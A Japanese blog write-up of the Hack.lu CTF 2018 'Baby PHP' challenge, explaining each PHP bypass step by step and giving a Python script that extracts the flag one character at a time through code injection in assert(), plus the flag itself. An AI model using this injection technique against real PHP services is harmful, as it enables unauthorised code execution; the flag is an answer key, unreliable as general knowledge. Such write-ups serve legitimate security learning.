こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Hack.lu CTF 2018 - Baby PHP

問題文

PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!

f:id:graneed:20181018222446p:plain

writeup

まず、各種、if文とdieを突破して最後まで到達するパラメータを考える。

1. データURIスキーム

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

以下を参考に、データURLスキームでHello Challenge!をセットする。 http://php.net/manual/ja/wrappers.data.php

解答時はmsg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==としたが、
別にmsg=data://text/plain,Hell Challenge!でも問題なかった。

2. 比較

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

単純にk1変数に1337をセットすれば条件に合致せず突破できるため、クエリパラメータにkey1=1337をセットする。
一応、参考はここらへん。
PHP: PHP 型の比較表 - Manual

3. 正規表現

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

次のif文のために、$ccを任意のパラメータに上書きするため、if文の条件に合致させて@$cc = $_GET['cc'];まで到達させる必要がある。

は、正規表現の末尾を表していると思いきや、全角文字。

よって、$k2には合計42文字となるように、1337$+任意の文字列をセットすればよい。
クエリパラメータにkey2=1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaをセットする。
なお、"1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" == 1337TRUEになるようだ。

4. 配列

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

次のif文のために、任意のパラメータをセットしたいため、if文の条件に合致させて$$lel = $hack;まで到達させる必要がある。
条件にマッチする$ccの文字列を探すのは困難だが、$ccを配列にしてしまえばよい。
よって、クエリパラメータにcc[0]=任意の文字列をセットする。

5. RLO

$<202e>b = "2";$a="<202e>b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

1行目は、RLOが使われており、実体は

b="2";
$a="b";//b=1;

になっているようだ。 $$a=2となるため、$k1=2になるようにクエリパラメータにk1=2を付与する。

6. assert

assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

$bbに、TRUE;//をセットすれば突破できる。 しかし、突破しても

// echo $flag;  

と、コメントアウトされているため、意味がない。

そこで、"Good Job ;)"が返却されるかどうかによって、$bbにセットしたパラメータがTRUEかどうかを判定できることを利用する。Blind SQL Injectionを解くように、1文字ずつフラグ文字列を特定するスクリプトを作成して実行する。

import requests
import string
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = 'https://arcade.fluxfingers.net:1819/'
LETTERS = string.digits+string.ascii_letters+"!#$&()*+,-./:;<=>?@[\]^_`{|}~"

password = 'flag{'

while True:
    flag = False
    for e in LETTERS:
        r = requests.get(
            URL,
            params={
                "msg":"data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==",
                "key1":"1337",
                "key2":"1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
                "cc[0]":"0",
                "k1":"2",
                "bb":"$flag[{}] == '{}';//".format(len(password), e)
                #"bb":"TRUE"
            },
            verify=False
        )
        print("$flag[{}] == '{}'".format(len(password), e))
        if "Good Job ;)" in r.text:
            password += e
            print(password)
            flag = True
            break
    if flag: continue
    exit()

実行結果は以下の通り。

(snip)
$flag[37] == ']'
$flag[37] == '^'
$flag[37] == '_'
$flag[37] == '`'
$flag[37] == '{'
$flag[37] == '|'
$flag[37] == '}'
flag{7c217708c5293a3264bb136ef1fadd6e}

フラグゲット。

しかし、実は普通にassertの中でprint_r($flag)が使用できることを知る。
こんな苦労しなくてもよかったんや!

それにしても、平日のCTFは辛い。
もう1問、Web問があったが着手さえできなかった…。